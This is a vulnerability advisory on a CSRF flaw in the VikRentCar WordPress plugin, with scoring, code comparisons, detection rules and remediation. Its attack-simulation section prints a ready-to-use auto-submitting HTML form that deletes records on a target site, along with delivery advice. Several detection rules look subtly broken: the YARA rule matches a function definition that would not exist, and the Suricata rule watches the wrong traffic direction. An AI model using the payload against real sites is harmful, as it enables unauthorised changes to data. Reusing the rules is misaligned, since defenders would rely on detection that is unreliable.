CVE-2024-1845

Executive Summary

CVE-2024-1845 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the VikRentCar Car Rental Management System WordPress plugin, affecting versions prior to 1.3.2. This flaw allows an attacker to trick a logged-in administrator into performing unintended actions, such as modifying plugin settings or deleting data, without their consent. The vulnerability stems from missing CSRF nonce validation in several administrative functions. Given the WordPress ecosystem, this issue is particularly dangerous as it can be chained with other vulnerabilities (e.g., stored XSS) to achieve privilege escalation or data exfiltration. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of the plugin update by checking the plugin’s checksum or signature if available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must be logged in and perform an action)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the real-world risk is elevated due to the prevalence of WordPress and the potential for chaining with other vulnerabilities.

Deep Dive & Mechanics

The VikRentCar plugin provides a car rental booking system for WordPress sites. The vulnerability exists because several administrative actions (e.g., saving settings, deleting records) do not include a CSRF nonce token. A CSRF attack works as follows:

1. Attacker crafts a malicious request – The attacker creates a specially crafted URL or form that performs a sensitive action on the target WordPress site (e.g., changing the plugin’s payment gateway settings).
2. Victim is tricked – The attacker lures a logged-in administrator to click a link or visit a malicious page (e.g., via phishing email or a compromised third-party site).
3. Request is executed – The victim’s browser automatically sends the forged request to the WordPress site, including the victim’s session cookies.
4. Action is performed – The plugin processes the request without verifying its origin, leading to unauthorized changes.

The lack of CSRF protection means that any action that should require explicit user consent can be performed silently.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.3.2): In the vulnerable version, administrative functions like save_settings() or delete_car() do not call check_admin_referer() or wp_verify_nonce().

// Vulnerable: No CSRF check
function save_settings() {
    update_option('vikrentcar_payment_gateway', $_POST['gateway']);
    // ...
}

Patched Code (1.3.2+): The patched version adds a nonce check before processing sensitive actions.

// Patched: CSRF nonce verification
function save_settings() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'vikrentcar_save_settings' ) ) {
        wp_die( 'Security check failed.' );
    }
    update_option('vikrentcar_payment_gateway', $_POST['gateway']);
    // ...
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Since no public exploit code is available, a manual CSRF attack can be demonstrated:

1. Identify a vulnerable endpoint – For example, the endpoint that deletes a car record: /wp-admin/admin.php?page=vikrentcar&task=delete_car&id=123.
2. Craft a CSRF payload – Create an HTML page that automatically submits a form to this endpoint.

<html>
<body>
<form action="http://target-site.com/wp-admin/admin.php?page=vikrentcar&task=delete_car" method="POST">
    <input type="hidden" name="id" value="123">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

3. Deliver the payload – Host the HTML on an attacker-controlled server and send the link to a logged-in admin via email or social engineering.

Blue Team (Defense & Detection)

• Monitor for unusual admin actions – Look for sudden changes to plugin settings or mass deletions of records.
• Implement CSRF tokens – Ensure all forms and AJAX requests include a nonce.
• Use SameSite cookies – Set cookies to SameSite=Lax or Strict to prevent cross-site requests.
• Educate users – Train administrators to avoid clicking suspicious links while logged in.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual POST requests to /wp-admin/admin.php?page=vikrentcar with unexpected parameters.
  • Referer headers from external domains (e.g., attacker-controlled sites).
• Host IOCs:
  • Unexpected changes to the wp_options table (e.g., vikrentcar_payment_gateway).
  • Log entries showing admin actions without corresponding nonce verification.
• File IOCs:
  • Modified plugin files (e.g., vikrentcar/admin/class-vikrentcar-admin.php) without proper nonce checks.

Detection Engineering

YARA Rule

rule Detect_VikRentCar_CSRF_Vulnerability {
    meta:
        description = "Detects missing CSRF nonce in VikRentCar plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1845"
    strings:
        $func1 = "function save_settings" nocase
        $func2 = "function delete_car" nocase
        $func3 = "function update_option" nocase
        $nonce = "check_admin_referer" nocase
    condition:
        ($func1 or $func2) and $func3 and not $nonce
}

Sigma Rule

title: Potential CSRF Attack on VikRentCar Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to VikRentCar admin endpoints without proper referer
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=vikrentcar'
    filter:
        cs-referer|contains: 'target-site.com'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from within the site
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-1845 - Potential CSRF Attack on VikRentCar Plugin";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin.php";
    http.uri; content:"page=vikrentcar";
    http.referer; content:!"target-site.com";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Update the VikRentCar plugin to version 1.3.2 or later.
2. Workaround: If immediate update is not possible, implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin.php?page=vikrentcar without a valid referer.
3. Long-term: Ensure all WordPress plugins and themes are kept up to date. Conduct regular security audits of custom code.
4. Monitoring: Enable logging for all admin actions and review logs for suspicious activity.

Valters IT – Securing digital ecosystems with precision.